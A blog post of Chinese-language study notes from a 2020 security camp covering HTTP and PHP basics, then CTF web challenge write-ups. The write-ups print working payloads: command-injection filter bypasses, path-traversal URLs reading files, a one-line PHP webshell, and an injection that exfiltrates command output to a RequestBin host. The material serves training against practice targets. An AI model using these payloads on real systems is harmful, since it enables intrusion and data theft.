2020 SCIST Security Note - Web


Note

Web Intro

Web:用瀏覽器去瀏覽的網站/網頁
目的:了解底下的運作

輸入網址->出現網頁
Ex.https://lab.djosix.com

  1. 解析 url
  • https 資料會被加密的 http
  • 主機名稱對應到的 IP (問 DNS Server)
  • 連線到IP位址的某個port
    (Ex.http -> port80 ; https -> port443)
  • 一個主機上面會有很多個port (0 ~ 65535)
  • 伺服器可以在很多個port上面開監聽者,等待使用者點進來
  1. 建立TCP連線
  • 加密 傳送HTTP請求的格式
  • 伺服器解析請求格式 -> 瀏覽器拿哪個檔案

至少需要前面兩行伺服器就可以知道你請求什麼檔案以及你利用哪個主機傳送

GET / HTTP/1.1
Host: lab.djosix.com

伺服器收到後就會去找你請求的檔案
若沒有找到你要的檔案
就會去找index.html

接著瀏覽器就會把內容畫到網頁上

按 F12 可以看到開發者模式
Request Headers ->瀏覽器傳了什麼給伺服器
Response Headers ->伺服器回傳什麼給使用者

或是用指令看->curl

curl

curl [url]

curl -v [url] / curl [url] -vvv 可以看到更詳細的網頁底層,在上面做任意的HTP request

response 的通常是 200 OK
如果出現301 moved permanently302 Found代表點開那個網址之後會傳送到下面Location:的網址

Headers

>是瀏覽器傳了什麼給伺服器
<是伺服器回傳什麼給使用者

Body

網頁內容

開法者模式F12

element 的 block 裡面如果有readonly就代表該 block 不能在頁面上直接改

PHP

action 按下表單之後會送到那個檔案裏面

echo -> print

echo 字串 . 字串 -> 把兩個字串接在一起

var_dump-> 可以print PHP的任何物件然後排版

---> 單行註解

null 在PHP裡面==0

== 會先把左右兩邊都換成同樣的類型再去判斷 (ex.NULL會被轉成 int 而變成 0 )

=== 就會要求左右兩邊都要是同樣的類型

Write-up

Web

KAIBRO BUY

http://140.110.112.78:2500/

F12 修改element

Level

http://140.110.112.78:25501/

從 cookies 把 Level 的 volue 改成 1000 就可以了(點兩下可以改)

Secret Login

http://140.110.112.78:2502/

可以看有甚麼東西丟進去 strcmp 會變成 0
PHP strcmp

http://140.110.112.78:2502/?pass[]=hijnk&secret=45645

Downloader

http://140.110.112.78:2505/

先看一下網頁的原始碼

會看到 http://140.110.112.78:2505/download.php?f=cute1.jpg

可以猜測是 download.php 會去讀 f 的參數

所以可以看看 f 有甚麼其他的可以讀

像是curl http://140.110.112.78:2505/download.php?f=download.php

從第一行$file = $_GET['f'];能夠知道他會去讀f的值

<?php
$file = $_GET['f'];

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}
?>

還可以讀這個頁面
這個頁面是 PHP 的話就可以讀讀看index.php

curl http://140.110.112.78:2505/download.php?f=index.php

從第一行可以看到他會去 include 另外一個 php 檔

<?php
include("config.inc.php");
?>
<html>
<head>
<meta charset="UTF-8">
<title>Downloader</title>
</head>
<body>
<h1>File Download</h1>
<ul>
<li><a href="download.php?f=cute1.jpg">貓貓1</a></li>
<li><a href="download.php?f=cute2.jpg">貓貓2</a></li>
<li><a href="download.php?f=cute3.png">貓貓3</a></li>
</ul>
</body>
</html>

所以再讀讀看config.inc.php

就可以得到flag了

curl http://140.110.112.78:2505/download.php?f=config.inc.php

lightning

http://140.110.112.78:2507/

curl -v去看網址之後會發現302 Found

下面有一個Location是會連結到的網址

所以在 curl 一次就可以了

Q:為甚麼不能用瀏覽器看到 flag
A:因為你跳到 Location 裡面的連結的時候他又會重新導向到 nothing.php 的網址

Cat Digger

http://140.110.112.78:2509/

google.com ; ls

google.com ; cat/flag
結果會變成You can't use my cat!
可以知道他有擋文字試試看繞過 cat

google.com ; ca"t/flag
結果會變成My cat doesn't like flag!
可以知道還有擋flag

一些繞過的方法

google.com; ca''t /fla''g
google.com; ca''t /fla*
google.com; ca''t /fl?g
google.com; ca''t /fl""ag
google.com; ca''t /fl${var}ag
google.com; ca''t /fl\ag
google.com; more /fl''ag
google.com; less /fl''ag
google.com; head /fl''ag
google.com; tail /fl''ag
google.com; curl file:///fl''ag

webshell

http://140.110.112.78:2508/

decode 之後會發現system($_POST[123]);

eval(要執行的內容) ->執行

curl -v http://140.110.112.78:2508/ 'cat /flag'

Web Level 1

Robots.txt

robots.txt是一種文字檔案,它告訴網路搜尋引擎此網站中的哪些內容是不應被搜尋引擎的搜尋到的,哪些是可以被搜尋引擎搜尋到的。 但駭客卻常透過robots.txt來知道哪些網頁目錄含有重要或是隱私資訊。

本題任務是請你找到robots.txt並因此找到flag。
提示1 : robots.txt的存放放置
提示2 : 相關hex to string及base64 編碼

請連結以下網址:
http://120.114.62.202:2001/

照他的題目名字去看robots.txt

可以拿到 516e4a6c595774425445784456455a374e31463053304979546a5655624846425155563651334a36546b3939
再依照題敘做 hex to string 和 base64
hex to string :QnJlYWtBTExDVEZ7N1F0S0IyTjVUbHFBQUV6Q3J6Tk99
base64 decode:BreakALLCTF{7QtKB2N5TlqAAEzCrzNO}

Web Level 2

Local File Inclusion

LFI(Local File Inclusion,本地文件載入)常是駭客常用的目錄遍歷攻擊(directory traversal attack)。請上網看看他的攻擊技術。

本題任務是請你使用LFI找到flag。
請連結以下網址進行解題:
http://140.110.112.78:2003/

在最上面那攔點 Home 和 About 可以看到
有 ?page= 所以可以試著輸入其他東西
所以我們試著一直回前頁到根目錄,因為不知道在多前面所以就打一堆../

http://140.110.112.78:2003/index.php?page=../../../../../../etc/hosts

會跑出

127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.17.0.36 476d62ab5d51

可以知道有到我們的根目錄了
再從根目錄去抓 flag 就可以了

http://140.110.112.78:2003/index.php?page=../../../../../../flag

BabyCMDi

http://140.110.112.78:30005/

RequestBin這個網址可以先建一個 server
創建一個RequestBin
複製他的網址後

$(curl http://requestbin.net/r/1em8v3f1 -d "$(ls)")

"$()" 加”的原因 -> 如果有兩個參數的話就會變成兩個字串,用雙引號包起來才會是一個字串
可以在 RequestBin 上面看到

RAW BODY

flag
index.php

可以知道可以把網址上的index.php直接改成flag就出來了

Web_Getting Started

Redirect

http://140.110.112.78:10203/

點擊 按一下點我看 flag

打開開發者模式之後

看到 network 那裏多了一個 flag.php

看一下他的 Header 會發現是302 Found

然後它的 Location 是 / 就是該目錄的意思

所以直接 curl 它的 Request url http://140.110.112.78:10203/flag.php就可以了

Form

http://140.110.112.78:10204/

目標:不要跑進去return checkForm(this)的函式(在 script 內),跑進去就會被擋掉

解1
先把密碼打好
然後再 console ( JS 的編譯)裡打 `document.querySelector(‘form’).submit()
可以防止被擋掉

解2

curl http://140.110.112.78:10204/ -d 'pw=123'

-d 後面接參數,相當於直接輸入

Shell

http://140.110.112.78:10210/

先建立一個php檔
vim test.php

裡面輸入
<?php system($_GET['x']);

上傳檔案之後把他拿去 curl 可以得到網址
因為網址前面有 file 所以可以知道他在 file 裡面

把網址回前頁再加上 file 下去跑

http://140.110.112.78:10210/?page=../files/dd0bf9bdec1a52e905c05f98f8cc8ae9/93bc3c03503d8768cf7cc1e39ce16fcb.txt

可以看到是 ok 的!只是 system 沒有執行,因為沒有輸入 x 所以再加上 x

http://140.110.112.78:10210/?page=../files/dd0bf9bdec1a52e905c05f98f8cc8ae9/93bc3c03503d8768cf7cc1e39ce16fcb.txt&x=ls

會出現files flag_1223b8c30a347321299611f873b449ad.txt index.php mods upload.php

再用x=去抓 flag 就可以得到了

http://140.110.112.78:10210/?page=../files/dd0bf9bdec1a52e905c05f98f8cc8ae9/93bc3c03503d8768cf7cc1e39ce16fcb.txt&x=cat%20flag_1223b8c30a347321299611f873b449ad.txt

Author: Gunjyo
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source Gunjyo !
  TOC